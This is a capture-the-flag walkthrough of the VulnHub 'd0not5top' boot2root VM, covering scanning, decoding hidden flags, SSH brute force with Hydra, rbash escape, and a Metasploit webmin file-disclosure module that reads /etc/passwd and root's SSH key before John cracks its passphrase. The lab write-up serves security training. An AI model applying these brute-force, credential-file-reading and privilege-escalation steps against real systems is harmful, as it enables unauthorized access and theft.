Walkthrough: d0not5t0p boot2root

So I've just finished up 3mrgnc3's d0not5t0p boot2root. You can find it on VulnHub. This was a pretty interesting box, so let's get started!

Getting started

For the purposes of this writeup, our target VM lives at

Of course, I begin with a simple nmap service scan, to figure out what's running on the box.

nmap -sV -A -p-   

Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-26 11:54 BST  
Nmap scan report for D0Not5top.home.gateway (  
Host is up (0.0039s latency).  
Not shown: 65529 closed ports  
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)  
| ssh-hostkey: 
|   1024 a7:52:df:39:80:7c:66:16:2f:fd:f7:7b:80:13:09:85 (DSA)
|   2048 bf:d9:5a:22:54:91:cc:36:40:3c:e6:35:4f:8e:0c:78 (RSA)
|_  256 16:e6:84:e1:5f:80:bc:27:6a:50:01:55:f0:c0:cc:72 (ECDSA)
25/tcp    open  smtp    Exim smtpd  
| smtp-commands: D0Not5top.home.gateway Hello o_o.home.gateway [], SIZE 52428800, 8BITMIME, PIPELINING, HELP, 
53/tcp    open  domain  PowerDNS 3.4.1  
| dns-nsid: 
|   NSID: D0Not5top (44304e6f7435746f70)
|   id.server: D0Not5top
|_  bind.version: PowerDNS Authoritative Server 3.4.1 (jenkins@autotest.powerdns.com built 20170111224403 root@x86-csail-01.debian.org)
80/tcp    open  http    Apache httpd  
| http-robots.txt: 22 disallowed entries (15 shown)
| /games /dropbox /contact /blog/wp-login.php 
| /blog/wp-admin /search /support/search.php 
| /extend/plugins/search.php /plugins/search.php /extend/themes/search.php 
|_/themes/search.php /support/rss /archive/ /wp-admin/ /wp-content/
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind 2-4 (RPC #100000)  
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          49440/udp  status
|_  100024  1          59299/tcp  status
59299/tcp open  status  1 (RPC #100024)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 23.15 seconds  

Let's begin with a look at the web server, to begin with. There's little of use at the start, so I need to find some paths of interest. For that, of course, dirb is the tool of choice:


DIRB v2.22  
By The Dark Raver  

START_TIME: Fri May 26 11:54:56 2017  
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
==> DIRECTORY:                                                                      
==> DIRECTORY:                                                                         
==> DIRECTORY:                                                                      
==> DIRECTORY:                                                                      
==> DIRECTORY:                                                                         
==> DIRECTORY:                                                                        
+ (CODE:200|SIZE:211)                                                             
==> DIRECTORY:                                                                       
==> DIRECTORY:                                                                         
==> DIRECTORY:                                                                   
==> DIRECTORY:                                                                      
+ (CODE:200|SIZE:695)                                                             
==> DIRECTORY:                                                                       
+ (CODE:403|SIZE:222)                                                          
==> DIRECTORY:                                                                      
==> DIRECTORY:                                                                          
==> DIRECTORY:                                                                       
==> DIRECTORY:                                                                    
==> DIRECTORY:                                                                     
==> DIRECTORY:                                                                   
==> DIRECTORY:                                                                  

After manually checking each revealed directory, I find a bunch of blank-page trolls... and eventually, an outline of an admin panel under /control/

Reading through the source, I find a couple of interesting comments:

 <!-- FL46_1:urh8fu3i039rfoy254sx2xtrs5wc6767w -->
<!-- M3gusta said he hasn't had time to get this w0rKING.  
Don't think he's quite in the 20n3 these days since his MadBro made that 7r4n5f3r, Just Couldnt H@cxk Da D0Not5topMe.ctf --!>  

Okay, so a flag! (:D)> Now, the mention of the domain and "20n3 ... 7r4n5f3r" got me sidetracked here, trying to get a zone transfer from the DNS sever we found above, but that seemed to be a dead end. Instead, I noticed a /control/js directory, which gave a directory listing. There was another "interesting" file within, /control/js/README.MadBro

# MadBro MadBro MadBro MadBro MadBro MadBro MadBro MadBro #
# M4K3 5UR3 2 S3TUP Y0UR /3TC/H05T5 N3XT T1M3 L0053R...   #
# 1T'5 D0Not5topMe.ctf !!!!                               #
# 1M 00T4 H33R..                                          #
# MadBro MadBro MadBro MadBro MadBro MadBro MadBro MadBro #


Converting all of the binary into its corresponding decimal numbers gives me the second flag: fl46_2:7867r42q2svdfsxk9i7ry4f2srtr98h2

d0n0t5topme.ctf forums.

Of course, it's now very clear that I need to add the domain to /etc/hosts, so I throw in the following lines:

#d0not5top d0n0t5topme.ctf  

Standard stuff, really. On browsing in, we're presented with a PHPBB forum. Most of it's pretty boring, but there are a couple of things in the registration form which are of interest.

<a href="mailto:Megusta@G4M35.ctf">  
<input type="hidden" name="FLaR6yF1nD3rZ_html" value="0" />  

Firstly, we see a new domain, and add it to hosts just like that above. Next, FLaR6yF1nD3rZ_html sounds interesting. Perhaps a file name?

I browse to d0not5topme.ctf/FLaR6yF1nD3rZ_html and am presented with this mess:

+++++ +++[- >++++ ++++< ]>+++ +++.+ +++++ .<+++ +[->- ---<] >---- ----.
++.<+ +++++ [->++ ++++< ]>+++ ++.<+ +++++ [->-- ----< ]>--- ----. +++++
+.<++ +++++ [->++ +++++ <]>++ +.<++ +++++ [->-- ----- <]>-- ----- -----
-.++. <++++ ++[-> +++++ +<]>+ +++++ +++++ +.<++ ++[-> ++++< ]>+++ +.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ [->++ +++++ +<]>+ .++++ ++.<+
+++++ ++[-> ----- ---<] >---. <++++ +++[- >++++ +++<] >++++ +++++ ++++.
<+++[ ->--- <]>-- ---.< +++++ ++[-> ----- --<]> .+.+. ----- -.+++ +++++  
+.-.- ---.< +++++ ++[-> +++++ ++<]> ..-.- .++++ +.++. +++++ ++++. <++++
+++[- >---- ---<] >---- ----- --.-- ---.< +++++ ++[-> +++++ ++<]> +++++
.<+++ [->++ +<]>+ +.++. --.++ .<+++ ++++[ ->--- ----< ]>--- ----- ---.<

It's Brainfuck code. Run it, and we get another flag: FL46_4:n02bv1rx5se4560984eedchjs72hsusu9.

A Missing Flag.

At that point, I decided to divert away from the web route for just a moment - given that DNS seemed to be a dead end, and flag 3 should've come before flag 4, I decided to investigate the SMTP server:

 ben>~> nc 25
220 46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874 327231646434 717070756 5793437 347 3767879610a EXIM SMTP  

After the 220, we've got a chunk of what looks like hex encoded data. The obvious thing to do is decode it as ASCII:


That's that little dilemma sorted then.

Would you like to play a game?

On visiting g4m35.ctf, we're presented with a rocket game. Either play through it, or have a nosey at the source: in http://g4m35.ctf/src/game.js we find

    var Messages = {
        START: {
            title: getLevelString,
            text:  function () {return 'CLICK TO BEGIN';}
        CRASH: {
            title: function () {return 'CRASHED';},
            text:  function () {return 'CLICK TO RETRY';}
        GAME_OVER: {
            title: function () {return '/H3x6L64m3';},
            text:  function () {return 'CLICK TO START AGAIN';}
        FINISH: {
            title: function () {return 'LEVEL COMPLETED';},
            text:  function () {return 'CLICK TO CONTINUE';}

So, this leads us to the next section, http://g4m35.ctf/H3x6L64m3

Now, we get another game, this time a 3D time trial game. Note that this one doesn't work in modern versions of Chrome.

Once again, I can either play through and get the next step or I can just examine the source: in http://g4m35.ctf/H3x6L64m3/bkcore/hexgl/Gameplay.js we see

    else if(result == this.results.DESTROYED)
        if(this.hud != null) this.hud.display("http://t3rm1n4l.ctf");
        this.step = 100;

Either way, I've now got our next domain, t3rm1n4l.ctf. Add it to hosts now.

Before we move on, though, I noticed that the skybox has some sort of encoded text on it, though it's difficult to make out exactly what. Using Chrome devtools to watch the network requests, I find the encoded image: http://g4m35.ctf/H3x6L64m3/textures.full/skybox/dawnclouds/pz.jpg

The content is \106\114\64\66\137\65\72\60\71\153\70\67\150\66\147\64\145\62\65\147\150\64\64\167\141\61\162\171\142\171\146\151\70\71\70\150\156\143\144\164

Just print that escaped text out to a terminal with python, and I've got another flag!


The t3rm1n4l

Now, let's look at this new domain. Immediately, I'm presented with a terminal-like interface, telling me that a password is required, or something.

After a bit of guesswork and investigation, I realise that the only lead we've got is the site itself, t3rm1n4l.ctf. Use that as a password, and we get into a restricted shell - unfortunately, we don't have access to anything like cd, ls, or other such basics.

After a little work, I realise that grep is available, and use grep * * to get a directory listing:

  uid=33(www-data) gid=33(www-data) groups=33(www-data)
grep * *  
  grep: BBBBBBBBBBB: Is a directory
  grep: CCCCCCCCCCC: Is a directory
  grep: M36u574.ctf: Is a directory
  grep: XXXXXXXXXXX: Is a directory
  grep: YYYYYYYYYYY: Is a directory
  grep: ZZZZZZZZZZZ: Is a directory
  grep: AAAAAAAAAAA: Is a directory
  grep: BBBBBBBBBBB: Is a directory
  grep: CCCCCCCCCCC: Is a directory
  grep: M36u574.ctf: Is a directory
  grep: XXXXXXXXXXX: Is a directory
  grep: YYYYYYYYYYY: Is a directory
  grep: ZZZZZZZZZZZ: Is a directory

So now there's another domain to look at, m36u574.ctf

Me gusta!

On visiting m36u574.ctf we get a page which refreshes every 1.5 seconds, displaying what seems to be a randomly selected image with reach refresh.

Most of the images have a fairly standard file name, like this:

<img src="images/megusta005.jpg" id="bg" alt="" />  

So when we stumble across images/kingmegusta.jpg, there's definitely something interesting going on. One of the basic ways of hiding image data is using EXIF fields, whic we can read with exiftool

ben>~> exiftool kingmegusta.jpg  
ExifTool Version Number         : 10.50  
[GIANT SNIP, there was a lot of stuff]
APP14 Flags 0                   : [14]  
APP14 Flags 1                   : (none)  
Color Transform                 : YCbCr  
Comment                         : TWVHdXN0YUtpbmc6JDYkZTEuMk5jVW8kOTZTZmtwVUhHMjVMRlpmQTVBYkpWWmp0RDRmczZmR2V0RGRlU0E5SFJwYmtEdzZ5NW5hdXdNd1JOUHhRbnlkc0x6UUd2WU9VODRCMm5ZL080MHBaMzAK  
Image Width                     : 1280  
Image Height                    : 1280  
Encoding Process                : Baseline DCT, Huffman coding  
Bits Per Sample                 : 8  
Color Components                : 3  
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)  
Image Size                      : 1280x1280  
Megapixels                      : 1.6  
Thumbnail Image                 : (Binary data 7833 bytes, use -b option to extract)  

That comment looks rather a lot like, I think. Decode it:


Okay, that looks like a username:hash pair. Crack it!

ben>~>john megustaking.hash --wordlist=rockyou.txt  
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 64/64 OpenSSL])  
Will run 12 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
**********       (MeGustaKing)

Wow. Such password. Very troll.

Actually getting a shell!

Obviously, the next step from here is to try to ssh in as MeGustaKing with the password I've just cracked

 ben>~> ssh MeGustaKing@
MeGustaKing@'s password:  
TRACE: sshPr0xy.py line:550 {gfm-js-extract-pre-1}

The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.

Last login:Sat Apr  1 00:00:01 2017 from R0cKy0U.7x7  
Welcome to rush shell  
Lets you update your FunNotes and more!

Uh0h.. u n0 burtieo  
h35 da 54wltyD4w6 y0u...  
Gw04w4y :(  
Local configuration error occurred.  
Contact the systems administrator for further assistance.  

There are a few things of interest going on in here. Let's start with the base64-encoded data between the <CODE> tags. Decode it, naturally, and I get:


That middle bit kinda looks like b64 too, I suspect.

 ben>~> echo "Rkw0Nl82OnBxcGQyamZuNHJ1cTFvYnl2M3Rodzg0OHRlNjd0ZWpleSAK" | base64 -d

Oh hey, another flag!

Now, it seems that there's another user named burtieo, and we get the hint R0cKy0U.7x7. Let's fire up hydra with rockyou, and see if we can brute-force burtieo's password.

ben>~> hydra -l burtieo -P rockyou.txt ssh://  
Hydra v8.5 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-06-03 18:43:47  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 256.00 tries/min, 256 tries in 00:01h, 14344142 to do in 933:52h, 16 active
[STATUS] 245.33 tries/min, 736 tries in 00:03h, 14343663 to do in 974:27h, 16 active
[STATUS] 242.14 tries/min, 1695 tries in 00:07h, 14342704 to do in 987:13h, 16 active
[STATUS] 239.47 tries/min, 3592 tries in 00:15h, 14340807 to do in 998:07h, 16 active
[STATUS] 238.68 tries/min, 7399 tries in 00:31h, 14337002 to do in 1001:09h, 16 active
[STATUS] 237.77 tries/min, 11175 tries in 00:47h, 14333226 to do in 1004:43h, 16 active
[STATUS] 237.65 tries/min, 14972 tries in 01:03h, 14329429 to do in 1004:57h, 16 active
[STATUS] 237.19 tries/min, 18738 tries in 01:19h, 14325663 to do in 1006:38h, 16 active
[STATUS] 237.27 tries/min, 22541 tries in 01:35h, 14321860 to do in 1006:01h, 16 active
[22][ssh] host:   login: burtieo   password: Lets you update your FunNotes and more!
1 of 1 target successfully completed, 1 valid password found  
Hydra (http://www.thc.org/thc-hydra) finished at 2017-06-03 20:19:48  

Now that's quite the password. Let's log in, try to run some common commands...

burtieo@D0Not5top:~$ ls  
-rbash: ls: command not found

... oh. It's rbash. Let's try that again, shall we

ben>~> ssh burtieo@ -t "bash --noprofile"  
W2wC0m3 Bw3rtie0 :)  
burtieo@D0Not5top:~$ export PATH=/bin/:/usr/bin/:$PATH  
burtieo@D0Not5top:~$ ls -la  
total 20  
drwxr-xr-x 2 burtieo burtie 4096 Jun  3 21:22 .  
drwxr-xr-x 3 root    root   4096 Mar 28 18:35 ..  
-rw-r--r-- 1 burtieo burtie  220 Apr  2 17:45 .bash_logout
-rw-r--r-- 1 burtieo burtie 3591 Apr  4 01:35 .bashrc
-rw-r--r-- 1 burtieo burtie  222 Apr  2 17:45 .profile

Finishing up

Okay, we've escaped the rbash setup. Now, let's try to find some way to escalate. Have a look at what else is in the PATH...

burtieo@D0Not5top:~$ env  
SSH_CLIENT= 39202 22  
SSH_CONNECTION= 39202 22  
burtieo@D0Not5top:~$ ls /usr/sbin/bin  

"suedoh" - sounds rather a lot like sudo doesn't it?

Let's see what we can do...

burtieo@D0Not5top:~$ suedoh --list  
Matching Defaults entries for burtieo on D0Not5top:  
    env_reset, mail_badpass,

User burtieo may run the following commands on D0Not5top:  
    (ALL) NOPASSWD: /usr/bin/wmstrt

burtieo@D0Not5top:~$ suedoh /usr/bin/wmstrt  
SecudoAGoGo R3D13? OKAY!  
[Countdown 20..0]

As it turns out, this script opens up port 10000 for 20 seconds, running webmin over SSL. First of all, let's use a simple loop to keep port 10000 open for longer...

for i in {0..99999999}; do suedoh /usr/bin/wmstrt; done  

Now, we can use a metasploit module to leak arbitrary files via a webmin vulnerability.

 ben>~> msfconsole -q
msf > use auxiliary/admin/webmin/file_disclosure  
msf auxiliary(file_disclosure) > set RHOST  
RHOST =>  
msf auxiliary(file_disclosure) > set SSL true  
SSL => true  
msf auxiliary(file_disclosure) > run

[*] Attempting to retrieve /etc/passwd...
[*] The server returned: 200 Document follows
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false  
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false  
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false  
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false  
avahi-autoipd:x:107:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false  
mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false  
[*] Auxiliary module execution completed
msf auxiliary(file_disclosure) > set RPATH /root/.ssh/id_rsa  
RPATH => /root/.ssh/id_rsa  
msf auxiliary(file_disclosure) > run

[*] Attempting to retrieve /root/.ssh/id_rsa...
[*] The server returned: 200 Document follows
Proc-Type: 4,ENCRYPTED  
DEK-Info: AES-128-CBC,7DA162212961C0CF94C636B47C991024

[*] Auxiliary module execution completed

Now, we've got an encrypted ssh private key for the root user. Let's see if we can use john to crack the passphrase!

 ben>~> ssh2john root_idrsa > root_idrsa.hash
 ben>~> john root_idrsa.hash --wordlist=rockyou.txt                                
Loaded 1 password hash (SSH [RSA/DSA 32/64])  
Will run 12 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
gustateamo       (root_idrsa)  
1g 0:00:00:02 DONE (2017-06-03 20:35) 0.4716g/s 3653Kp/s 3653Kc/s 3653KC/s gustoic..gussy780  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed  

Now, we can SSH in as root with the passphrase we've just cracked (gustateamo)

ben>~> ssh -i root_idrsa root@  
[Snipped MOTD Stuff...]
root@D0Not5top:~# ls  
FL461N51D3  L45T_fl46.pl  

Okay, a last flag. Let's read the script

Okay, so it sends some sort of payload to the IP and port that you specify. So, let's set up a listener on my local machine and see what we get!

ben>~> nc -lp 4321  
root@D0Not5top:~# perl L45T_fl46.pl 4321  
RUN /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaTROLLOOOLLO���j  
                                            X�Rfh-c��h/shh/bin��R�8YAY FL46_7:9tjt86evvcywuuf774hr88eui3nus8dlk 2>/tmp/huhWS��̀j
                                   X�Rfh-c��h/shh/bin��R�8YAY FL46_7:9tjt86evvcywuuf774hr88eui3nus8dlk 2>/tmp/huhWS��̀j
                          X�Rfh-c��h/shh/bin��R�8YAY FL46_7:9tjt86evvcywuuf774hr88eui3nus8dlk 2>/tmp/huhWS��̀j
                 X�Rfh-c��h/shh/bin��R�8YAY FL46_7:9tjt86evvcywuuf774hr88eui3nus8dlk 2>/tmp/huhWS��̀j
        X�Rfh-c��h/shh/bin��R�8YAY FL46_7:9tjt86evvcywuuf774hr88eui3nus8dlk 2>/tmp/huhWS��̀j
                                                                                           X�Rfh-c��h/shh/bin��R�-N3v3r As5um3! 1t M4k35 4n 455 0f y0u & m3 :DWS��̀ HTTTPEE/1.1

So, it's pretty obvious what our seventh and final flag is, then!


And that's all, folks! Thanks to 3mrgnc3 for building this excellent b2r :)